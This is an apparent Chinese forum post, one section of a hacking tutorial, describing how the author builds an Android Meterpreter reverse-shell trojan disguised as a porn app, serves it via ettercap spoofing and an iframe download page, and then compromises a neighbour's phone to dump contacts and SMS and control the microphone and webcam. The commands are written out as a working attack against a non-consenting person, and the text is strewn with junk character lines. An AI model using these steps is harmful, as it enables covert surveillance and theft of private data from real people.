|
$ W; Y' R% V j( c8 U3 U7 u, {
五、msf+ettercap入侵邻居安卓手机 1 @: |6 a$ E2 {: K% E2 b
& l h# a1 m# h7 J
! _7 B, [+ Z; S7 Z( Z" S" T7 D, r/ q& x 首先启动msf 3 T K; \; r1 D7 ^- v
2 g8 O5 l# P `
/ p1 o' A7 i( i
先用kali生成一个安卓木马，如下命令：
" k r" ^, s- { c: y1 r. K ! G5 I7 v+ T4 N; Z: W
! d% S: W0 j( i6 d
Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk 9 e/ X' C6 p' F
/ D4 |% p9 n8 o. g t8 v. @# ~4 A R9 u0 i, j: U6 C
 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 # T( f1 s8 ~$ f4 A" {3 }
& a: j+ y$ Q" @; h% R
% h0 G2 P8 o+ b" v0 r* }
然后进入msf
. \8 A3 K% K8 b- `& e, X0 P & j1 x2 S a: O3 E
6 T6 H* T8 q" s& c, y k use exploit/multi/handler
+ `: f U3 i1 p { 9 z4 U- k+ W- t4 r! ?; S. b) z1 H& C
8 T [7 F, g2 T, g4 g set payload android/meterpreter/reverse_tcp
' V. c7 Y, H2 I
" q2 b' J% Z& T5 ]
: V+ m }: J6 O' a: D, q- L set LHOST 192.168.0.109 //ip为kaili的ip
$ ^5 h- g5 Z, ?3 R
; l' n. d( L! R$ F' p! ~7 p% y' d' T# _. D
set LPORT 44444 //端口一定要与前面生成的木马的端口一致
8 Z7 |: z4 B: p3 ~, L, X
1 p9 ?) R1 w- k7 G2 t' V/ m T& c* N/ r! B7 b" P! \- Y8 k* M* M
Exploit
4 u" a- w- }4 H5 Y( } Y
2 n) c, S8 o3 K8 V' u! b: e }& w9 U6 b/ D8 c
5 m. W1 M* o1 w: J1 Y % q6 M* T8 U! X# L# n1 ~+ f
8 D6 ~0 m, k) I! }
下面我们开启ettercap -G " \2 r% i3 p* ?) l) b5 k) J
0 H; d) I2 x& m n3 _ Y: u1 _; t! H8 I6 c
我物理IP为 $ I7 L2 n0 N4 ^
8 N0 s* [# H2 k$ l+ |! M5 P# C
& ?; [/ ^% m6 e9 D6 V  - n3 N2 k( d/ `" e' F; z# w
# F- X. P1 U6 R& x7 U" b
% d( R5 N9 n# P0 a6 t: |& S; W" D+ A
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，
- t- `) z; I7 e
. s$ Z0 o# d$ J- y% P1 E2 Q/ k6 I) H" R, w/ ~( J
下面我们来设置一下 6 s6 q1 k \, R! ~' ~$ D2 k
: ]' }: |! s, i% B! u2 J3 ]; O! K. R
 & g4 n h: Q9 E' Y
. Q4 k, j( H1 }7 l ]- N1 i* j6 `: i& M0 Z9 _
在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， : ?; z$ G" w% l0 Z$ ~
, x0 b3 P; c7 U. N. v! Z3 {5 P
: v I R3 j2 Z: H! M( [) @% G- ] 8 D6 L3 U; @( J5 H% a! X
2 }# c" N, l, i! U3 \; D' |
3 [5 j: o+ M, D2 ^, L8 W+ N 
7 g/ E* f" e- k8 p6 O 1 U) N2 n. o7 H! I% q8 \, m
. Y7 b ^7 R" G! P: s. W
# j! ?* L D8 f9 t% K8 v% V
- E, q. `8 A2 @% J& Q
; z9 x9 Q) C7 Z* q- x- W: Z
- t: K3 B; i4 c# A: n
' S4 d, j# T3 W( [: ~/ e* b
6 b. Y9 e. h8 `3 M4 f - t3 E8 r* h! D
4 N6 G' s; g2 {% }/ k: B% H
: o1 B8 n7 y2 c6 h; J
0 g8 V. ?* g" r. U4 V" R! X/ ^ # U4 t+ p) l" M) C1 m
0 | F% a$ p2 v5 M) b4 k H# d
& x9 t' ~" _+ t( T5 x2 b
1 n6 G" }4 Q' R" O8 H8 J
+ Z: _3 R p! k2 P; L
# V$ [' X" n# G4 X9 q% y. A0 [
& D! m3 V7 |8 d: L
$ | ]9 P* h5 M
7 Z! s# i ^" _
' f5 O* J: W4 W: }; B; e! j4 V8 Z. o1 y# z3 K
( j% ^( O0 d- Q6 V/ f * e+ ^3 c6 E- K% p7 }) ^ s, t
. n/ o- u! J! ^
% i0 m( ]" z2 p* p! \2 e6 q 6 {6 M W x$ V. |8 X+ ?: G
; |4 ~$ q( Y$ l3 S6 B0 o' j5 M
& d7 R; ~0 {$ | 7 K# G4 u- C' [+ d
* P7 H0 _) _1 X8 u3 H% t1 _
0 Y/ X, V2 C7 G * E- T$ d" {% W5 s
% Z! I6 f" y" d+ q2 P3 | 下面我们开始攻击 " D" P" O( p) {" _! Y
* o+ {" w& V0 u' _. k" z
$ }+ w9 \) r: ~& n9 S1 v* w # q) A; V: e5 R4 s% U6 F
( W6 l$ s4 x2 S. Z; M! w: @5 ?% c, N
, w; X% u, z& W; B# u" @/ g; ~, g T! W) D1 d/ x5 Z7 q+ Z- O2 A
8 {" b4 K9 x, X! ~1 Q" V& y
H6 f9 R5 D9 c& ~
) b: C1 q/ C, j( P& d5 a8 a8 `! t0 o# x4 r* f, \+ n& z6 o: _
9 a2 N8 Q4 l5 m- U5 I 6 k( Y$ _) I% H6 x ~% z
0 J+ W$ l, M4 U' Z
 + h: [. r# @4 J* c& n3 ?, s. W
" O- ~, w2 t) Y/ w0 x+ H
$ Q0 x9 i5 m$ y5 ]$ Z+ x 大概过了5分钟多，发现反弹成功了
! B# e6 {6 M; _ f, ~; ?& h' O
- e2 n0 B6 s0 _7 M
! [4 O; X/ Z- P: P( R" w9 w0 _
2 d1 Q$ |% A% S) f
# w4 k& W" i: ]) l. R7 F# f
0 E7 o# v6 R4 R' L6 V( t( q% k! M ! ]. u G0 u/ l2 E4 C: z
+ { z8 n& P% _8 P" L
1 o: R6 G; S v% G- |6 O l( t G
. g; L6 ]# F: w( i2 ~ ) Y3 J+ H* H% f
0 O! |+ d: L" r \; N' s$ {
$ K( `# N/ \& G" w0 U& X+ R8 ?
/ o# J* y! c( a* d( i: t4 n, \- B
2 p0 R/ U+ m2 k* F
8 I$ I$ C+ p+ o9 k8 t+ q7 `, A' Q& {+ |# ]) l
$ b0 _. v' E B* }6 k* ~2 j: z
' }* C/ K3 j' f1 i) K( M& U% ?8 D' M+ L# g* H2 `! D' I
 7 |+ N' y/ V% |# E
7 K5 J, n2 I# ]/ N! j
, I" @5 N. {, k" U. ]9 a7 X+ R4 X
执行命令 - c0 t2 a" a" f( `" w1 {% _5 f
+ h# \+ f$ k( L* @3 Y9 b" y
) N( P8 Z9 S- q) g
+ O# x1 B5 x" S; E- t. {6 g& k. }) }
! F+ W4 d' D; @; x9 }, q1 D9 M3 @, { ?
dump_contacts --》这个是导出电话 - D5 O: [% }2 d F+ K- x) t. O
3 \. K2 n Z A4 z+ J8 b, t6 y& |1 y J- ?) ?
dump_sms --》这个是导出信息
4 ?( G2 t/ X1 T4 ~+ d5 N4 }
6 y |% B9 q* k# w
9 f3 P& Q+ ^% j6 J5 ~! u4 u record_mic Record audio from the default microphone for X seconds ' A0 Q4 s5 M8 X8 Z# J
9 n' X" f1 J/ U2 O4 R' J; m0 {1 o- c& U" u3 B& h4 C
webcam_chat Start a video chat
# E/ R- {7 ~, @; W+ o9 u' b 8 @# d+ }" q( `! M$ D' b
3 L$ z, @+ O2 h6 d% g: L
webcam_list List webcams 1 z. k8 u0 l* Q2 @! @9 n+ h& S
2 \* v6 D+ _+ Q X2 {, K7 z: ~, T1 O F! X; l; P% v! x
webcam_snap Take a snapshot from the specified webcam
7 E& J1 G6 @4 o: D
( d9 g: j, E3 Z9 f# ]& @4 ~/ G
webcam_stream  lay a video stream from the specified webcam
7 I) C2 e0 q; w6 w1 m* M4 p( P
% q8 H" o- r( h# w" v3 n- }& W/ s6 _) B
 8 h% L4 h: b" V3 u; @$ V7 e
/ I" @4 H# U6 v3 U
2 Z/ k9 q* K1 k0 y1 e  ! M, R* Z5 P. s. Z: P7 m% X
G' ?* p1 X) i' W' y: `% ^+ E
E2 `/ t9 g2 g! f/ t( l0 t 我们打开看一下电话薄，
+ u ^# J' M! _1 ` & J* Y9 l# i. c6 S1 S, G2 i8 M+ c
# n# w: R0 k, v5 }. L
8 G6 H" q P/ a" J8 n$ X
2 O& u% l+ }7 g! a4 E+ N. [0 Z% Y8 _
# X. R2 t, N3 o- Y7 C% _2 b
6 V+ o1 O+ c9 y) C5 D. T" A
4 i: c0 \8 f. \1 w( J 3 @/ c v; Z" Q2 G
) N4 k% Q5 y/ Q2 F" {
0 l( M# g( Z d& }* s; Q( g  8 D" v2 [2 ?: e, i" T' [
( d" x7 C. f2 y+ |3 l! V* D$ p* ?# ^" T! x7 x
 * n5 \/ r l/ b: l
1 \9 s* r7 O" W1 e" o
2 M0 ^. u ^! b- x2 t' y( R
$ h" \. q& q, j, \% Q, } 0 N" H. [2 r$ I9 N6 |0 F n4 ~
# o$ X; g% h; f8 W1 |5 w1 M 我们同时欺骗成DroidJack木马，使用方法如图： " p1 H, j, z" l) o
* X. d6 s8 Z7 x ?5 Z6 W, s0 {
& t4 y7 A, r, |- C. t 
. l- W# o% l2 ~* l
. @ m1 e, q0 K. Q
8 N6 _' ?( b1 `8 N* ~ 3 F/ N7 _! ~1 U |; K; a
$ I# J& e6 Q% U7 _* K
& @; L% {! q; L( R& l
. S3 y/ l C' C) U% K: D 4 j3 \" q2 a4 [5 g! ~6 q
& M4 j) E9 y3 \8 W, } 切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 , W" e8 j3 `3 V
$ [- U+ b. N4 {1 d1 D3 w/ L
: o1 M1 K5 T2 {' e: E5 H  6 X: r& d- z2 c& e
0 V5 s8 {0 `2 J2 E& J( X8 B/ F2 B R F' q/ l- I
 6 S) {1 z9 g" [& h" D5 @
; v8 m# N; _: e- V+ s- X+ e
0 ~& \% t8 `. W; t2 d' f- F& t
) e2 {3 h) ^+ `( p9 W 8 T) c0 f; X* v" @# V, k
" M( d P+ G" h8 z6 |   ! d& \4 R* p6 K' u! I
; \/ j$ T1 h* J# q
. ^- z- k- z% H) ~" S- P
4 G9 B+ r" R5 B6 Y1 i# q4 V
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对